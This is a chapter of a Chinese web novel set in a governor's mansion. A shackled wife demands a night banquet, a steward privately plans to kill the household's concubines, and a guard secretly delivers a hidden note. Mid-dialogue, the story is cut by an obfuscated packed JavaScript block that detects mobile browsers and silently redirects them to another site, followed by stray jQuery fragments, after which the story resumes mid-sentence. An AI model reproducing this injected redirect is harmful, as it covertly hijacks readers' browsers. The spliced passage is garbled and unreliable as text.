等魏紫姚黄进屋时,沈庭芳又坐在书案后写写画画。
这回画的就是府中的景致了。
两个丫头瞧了一眼,彼此都放心不少,就温声劝沈庭芳安寝。
“夫人,夜色已深,请夫人早些安寝。”
沈庭芳却忽然站起来,带动着脚上的铁索与铃铛乱响。
“我睡不着,我要去水榭听他们唱曲,看他们跳舞,去,吩咐下去,把那些没来的美人们也都请过来,命厨下准备好美酒佳肴,我要与他们同乐。”
“夫人,”魏紫劝道,“这会儿已经快要亥时了,夫人身子不好,不如等明日再邀请美人们同乐吧。”
沈庭芳将书案上的画纸团成一团,扔到了地上。
又把砚台打翻,登时,书案上剩下的画纸就被泅成了一团漆黑。
看不出原先到底是画过画的,还是什么都没画。
“都督说了,内宅之中任由我说了算,我想何时请美人们陪我解闷儿,他们就得乖乖过来,谁敢不听?你若是不听我的话,那就自己去跟都督说,你不想伺候我,省得我自己跟都督费口舌,去吧。”
魏紫再不敢劝沈庭芳。
她心里笃定,姚黄的话恐怕是真的,夫人好似疯了。
与初来府上那个小心翼翼满脸忧郁的夫人判若两人。
变得……变得跟都督一样疯癫。
她忙拽着姚黄出去,让姚黄去禀告都督,又遣了人去请各院的美人们。
恰好撞上德海,看到这样的阵仗,德海就笑了。
“你们也忒小心了,连都督都说,这府里的人都得听夫人的话,夫人不过是想叫那群美人们来陪着解个闷儿,有何不可?”
美人们的命不值钱,夫人能想起他们,是看得上他们。
倘若他们连这点用处都没有,那还活着做什么?
德海这几日清点过,有些人在府中待了一年多了,得挪一挪窝了。
这些个美人都是外头那些人送的。
都督说过,那些人都不是好东西,送了这些个美人进来,必定没藏着好心。
杀了美人们不冤枉。
没死的,也不能活太久。
活得越久,知道的事情就越多。
不如趁早**,大家都放心些。
这些日子得先清理掉一批。
杀了他们之前,叫他们陪着夫人解解闷,也算是他们的最后一点用处了。
魏紫和姚黄就赶紧去安排。
德海站在屋外,往里看了一眼,见沈庭芳把画纸都扔到了地上,不知道从书架上拿了什么书,竟在那书的扉页上画画。
他忙转身呵斥小丫头。
“你们留着这双眼睛喘气儿用的吗!还不赶紧进去把地上收拾收拾,再给夫人拿一摞新的画纸来。”
话音刚落,沈庭芳就气哼哼地走过来,脚踝上的铁索叮当乱响。
“魏紫姚黄去哪儿了?怎么还不来伺候我更衣?罢了罢了,不用她们俩伺候了,我就穿这一身去吧,想必那些美人也不敢笑话我。”
德海打着哈哈,点头哈腰地奉承沈庭芳。
“是是是,夫人说的是,她们哪里敢笑话夫人,谁敢笑话夫人,奴才就禀告都督,让都督把他们剁碎了喂狗。”
沈庭芳拧着眉头,很不高兴:“喂狗也行,但不许喂我的小狼。”
德海愣住了:“小狼?”
一旁的小丫头轻声道:“是都督送给夫人的那只小獒犬,夫人很喜欢,给取了名字,叫小狼。”
德海恍然大悟。
原来小狼是一只小獒犬的名字。
难得会有人跟都督一样,喜欢獒犬。
以往伺候过都督的美人,胆子都很小,哪怕是见了小獒犬,也不大亲近。
夫人果真跟她们不一样。
德海对沈庭芳越发敬重。
他殷勤地跟在沈庭芳身后,往水榭走去。
路上经过值守在撷芳馆外头的银甲卫,沈庭芳忽然停下脚步,径直走向郎官闵仁。
“滚!带着你的这些银甲卫,滚开!”
闵仁垂下双眸:“都督命属下值守撷芳馆,属下不敢擅离职守。”
德海见势不妙,赶忙上来打圆场:“夫人,都督让他们守在撷芳馆外,也是为了夫人的安全着想。”
沈庭芳很是恼怒。
“侯府中还有不安全的地方吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160796|196597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?我讨厌被这些人看管着。”
她顺手推了闵仁一把,撕扯着闵仁的袖子往后推。
闵仁不敢还手,更不敢躲闪,任由沈庭芳发泄。
待沈庭芳发完了脾气,他才惊觉手中多了一团纸。
“罢了,”沈庭芳哼了一声,又黯然神伤,“德海,你回头跟都督说,不许叫这些人进撷芳馆。”
德海擦了一把汗,忙道:“夫人放心,银甲卫们只在院子外头守着,绝对不会踏进撷芳馆一步。”
沈庭芳已经走过去了:“我在水榭上听曲观舞,不许叫他们跟过来!”
郎官闵仁的衣裳,已经被撕扯得皱皱巴巴。
几个银甲卫都有些愤愤不平,却都不敢表现出来。
德海看着都有些不忍,他小声劝闵仁:“闵郎官,这里有咱家看着,郎官去换一身衣裳来吧,不然,若是撞上了都督,郎官这一身不大雅观,都督瞧了会生气的。”
闵仁忙抱拳,谢了德海几句。
银甲卫在侯府有单独的居所,就在侯府后头的院子里。
闵仁从后门出了侯府,拐进小院,在屋内等了片刻,听着四周无动静了,才从后窗翻出去,径直出了小院子,去了码头处。
这里停靠着十来艘小花船,是给府中的人游清溪岭花坞而备下的。
每一艘小船上都系了红绸。
闵仁仔细地看过去。
东数第四条小船的红绸子上破了一块,他便跳上那条小船,将手中的纸团塞到船舱里头的垫子下面,又迅速回到自己的屋子,换了一身衣裳,回到撷芳馆外的水榭中。
德海等着他来了,才轻声埋怨:“郎官怎的去了这么久?”
闵仁苦笑:“公公,我的衣裳都送去洗了,这一身还是我翻箱倒柜,找的去年的呢。”
德海打量了他一眼,果然见他身上这一身银甲服是旧的,就蹙了蹙眉:“明儿个郎官不当值,赶紧去官署取一套新的来,莫要穿着旧衣,都督瞧见了不喜。”
闵仁忙答应下来。
水榭中,明翠刚好弹毕一曲。
她捧了一盏水酒,扭着水蛇腰,行至沈庭芳身前:“夫人,请饮下这杯酒。”